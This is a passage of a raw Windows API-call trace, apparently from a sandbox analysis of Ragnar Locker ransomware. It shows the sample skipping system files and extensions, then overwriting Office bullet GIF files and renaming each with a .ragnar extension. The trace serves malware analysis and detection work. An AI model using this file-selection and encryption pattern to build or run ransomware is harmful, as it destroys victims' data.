(lpString1="BD14753_.GIF", lpString2="ntuser.dat") returned -1 [0098.594] lstrcmpiW (lpString1="BD14753_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.594] lstrcmpiW (lpString1="BD14753_.GIF", lpString2="ntuser.ini") returned -1 [0098.594] lstrcmpiW (lpString1="BD14753_.GIF", lpString2="thumbs.db") returned -1 [0098.594] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.594] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.594] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.594] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.594] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.594] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.594] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.595] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14753_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14753_.gif")) returned 0x20 [0098.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14753_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14753_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.597] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=188) returned 1 [0098.597] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.597] GetProcessHeap () returned 0x580000 [0098.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.597] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.598] VirtualAlloc (lpAddress=0x0, dwSize=0xbc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.598] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.598] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.598] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbc, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xbc, lpOverlapped=0x0) returned 1 [0098.598] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.598] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbc, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.598] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbc, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xbc, lpOverlapped=0x0) returned 1 [0098.598] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.598] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.599] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xbc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.599] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.599] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.599] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.599] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.599] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.599] GetProcessHeap () returned 0x580000 [0098.599] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.599] CloseHandle (hObject=0x10c) returned 1 [0098.599] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14753_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14753_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14753_.GIF" [0098.599] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14753_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14753_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14753_.GIF.ragnar_FD7BD9FC" [0098.599] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14753_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14753_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14753_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14753_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.660] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecac8100, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecac8100, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14754_.GIF", cAlternateFileName="")) returned 1 [0098.660] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.660] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14754_.GIF" | out: lpString1="BD14754_.GIF") returned="BD14754_.GIF" [0098.660] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14754_.GIF") returned=".GIF" [0098.660] lstrcmpiW (lpString1="BD14754_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.660] lstrcmpiW (lpString1="BD14754_.GIF", lpString2="autorun.inf") returned 1 [0098.660] lstrcmpiW (lpString1="BD14754_.GIF", lpString2="boot.ini") returned -1 [0098.660] lstrcmpiW (lpString1="BD14754_.GIF", lpString2="bootfont.bin") returned -1 [0098.660] lstrcmpiW (lpString1="BD14754_.GIF", lpString2="bootsect.bak") returned -1 [0098.660] lstrcmpiW (lpString1="BD14754_.GIF", lpString2="bootmgr") returned -1 [0098.660] lstrcmpiW (lpString1="BD14754_.GIF", lpString2="bootmgr.efi") returned -1 [0098.660] lstrcmpiW (lpString1="BD14754_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.660] lstrcmpiW (lpString1="BD14754_.GIF", lpString2="desktop.ini") returned -1 [0098.660] lstrcmpiW (lpString1="BD14754_.GIF", lpString2="iconcache.db") returned -1 [0098.660] lstrcmpiW (lpString1="BD14754_.GIF", lpString2="ntldr") returned -1 [0098.660] lstrcmpiW (lpString1="BD14754_.GIF", lpString2="ntuser.dat") returned -1 [0098.660] lstrcmpiW (lpString1="BD14754_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.660] lstrcmpiW (lpString1="BD14754_.GIF", lpString2="ntuser.ini") returned -1 [0098.660] lstrcmpiW (lpString1="BD14754_.GIF", lpString2="thumbs.db") returned -1 [0098.661] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.661] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.661] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.661] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.661] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.661] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.661] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14754_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14754_.gif")) returned 0x20 [0098.661] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14754_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14754_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.662] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=176) returned 1 [0098.662] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xa7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.662] GetProcessHeap () returned 0x580000 [0098.662] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.662] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.663] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.664] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.664] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.664] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb0, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb0, lpOverlapped=0x0) returned 1 [0098.664] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.664] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb0, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.664] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb0, lpOverlapped=0x0) returned 1 [0098.664] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.664] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.664] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.664] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.664] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.664] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.665] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.665] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.665] GetProcessHeap () returned 0x580000 [0098.665] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.665] CloseHandle (hObject=0x10c) returned 1 [0098.665] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14754_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14754_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14754_.GIF" [0098.665] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14754_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14754_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14754_.GIF.ragnar_FD7BD9FC" [0098.665] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14754_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14754_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14754_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14754_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.666] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fd2f700, ftCreationTime.dwHighDateTime=0x1bd4f43, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fd2f700, ftLastWriteTime.dwHighDateTime=0x1bd4f43, nFileSizeHigh=0x0, nFileSizeLow=0x44, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14755_.GIF", cAlternateFileName="")) returned 1 [0098.667] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.667] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14755_.GIF" | out: lpString1="BD14755_.GIF") returned="BD14755_.GIF" [0098.667] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14755_.GIF") returned=".GIF" [0098.667] lstrcmpiW (lpString1="BD14755_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.667] lstrcmpiW (lpString1="BD14755_.GIF", lpString2="autorun.inf") returned 1 [0098.667] lstrcmpiW (lpString1="BD14755_.GIF", lpString2="boot.ini") returned -1 [0098.667] lstrcmpiW (lpString1="BD14755_.GIF", lpString2="bootfont.bin") returned -1 [0098.667] lstrcmpiW (lpString1="BD14755_.GIF", lpString2="bootsect.bak") returned -1 [0098.667] lstrcmpiW (lpString1="BD14755_.GIF", lpString2="bootmgr") returned -1 [0098.667] lstrcmpiW (lpString1="BD14755_.GIF", lpString2="bootmgr.efi") returned -1 [0098.667] lstrcmpiW (lpString1="BD14755_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.667] lstrcmpiW (lpString1="BD14755_.GIF", lpString2="desktop.ini") returned -1 [0098.667] lstrcmpiW (lpString1="BD14755_.GIF", lpString2="iconcache.db") returned -1 [0098.667] lstrcmpiW (lpString1="BD14755_.GIF", lpString2="ntldr") returned -1 [0098.667] lstrcmpiW (lpString1="BD14755_.GIF", lpString2="ntuser.dat") returned -1 [0098.667] lstrcmpiW (lpString1="BD14755_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.667] lstrcmpiW (lpString1="BD14755_.GIF", lpString2="ntuser.ini") returned -1 [0098.667] lstrcmpiW (lpString1="BD14755_.GIF", lpString2="thumbs.db") returned -1 [0098.667] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.667] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.667] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.667] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.667] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.667] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.667] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14755_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14755_.gif")) returned 0x20 [0098.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14755_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14755_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.668] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=68) returned 1 [0098.668] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.668] GetProcessHeap () returned 0x580000 [0098.668] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.668] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.671] VirtualAlloc (lpAddress=0x0, dwSize=0x44, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.672] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.672] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.672] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x44, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x44, lpOverlapped=0x0) returned 1 [0098.672] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.672] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x44, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.672] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x44, lpOverlapped=0x0) returned 1 [0098.672] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x44, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.672] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.672] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.672] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.672] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.672] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.673] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.673] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.673] GetProcessHeap () returned 0x580000 [0098.673] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.673] CloseHandle (hObject=0x10c) returned 1 [0098.673] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14755_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14755_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14755_.GIF" [0098.673] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14755_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14755_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14755_.GIF.ragnar_FD7BD9FC" [0098.673] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14755_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14755_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14755_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14755_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.971] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedddae00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xedddae00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14756_.GIF", cAlternateFileName="")) returned 1 [0098.971] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.971] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14756_.GIF" | out: lpString1="BD14756_.GIF") returned="BD14756_.GIF" [0098.971] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14756_.GIF") returned=".GIF" [0098.971] lstrcmpiW (lpString1="BD14756_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.971] lstrcmpiW (lpString1="BD14756_.GIF", lpString2="autorun.inf") returned 1 [0098.971] lstrcmpiW (lpString1="BD14756_.GIF", lpString2="boot.ini") returned -1 [0098.971] lstrcmpiW (lpString1="BD14756_.GIF", lpString2="bootfont.bin") returned -1 [0098.971] lstrcmpiW (lpString1="BD14756_.GIF", lpString2="bootsect.bak") returned -1 [0098.971] lstrcmpiW (lpString1="BD14756_.GIF", lpString2="bootmgr") returned -1 [0098.971] lstrcmpiW (lpString1="BD14756_.GIF", lpString2="bootmgr.efi") returned -1 [0098.971] lstrcmpiW (lpString1="BD14756_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.971] lstrcmpiW (lpString1="BD14756_.GIF", lpString2="desktop.ini") returned -1 [0098.971] lstrcmpiW (lpString1="BD14756_.GIF", lpString2="iconcache.db") returned -1 [0098.972] lstrcmpiW (lpString1="BD14756_.GIF", lpString2="ntldr") returned -1 [0098.972] lstrcmpiW (lpString1="BD14756_.GIF", lpString2="ntuser.dat") returned -1 [0098.972] lstrcmpiW (lpString1="BD14756_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.972] lstrcmpiW (lpString1="BD14756_.GIF", lpString2="ntuser.ini") returned -1 [0098.972] lstrcmpiW (lpString1="BD14756_.GIF", lpString2="thumbs.db") returned -1 [0098.972] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.972] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.972] lstrcmpiW (lpString1=".GIF", 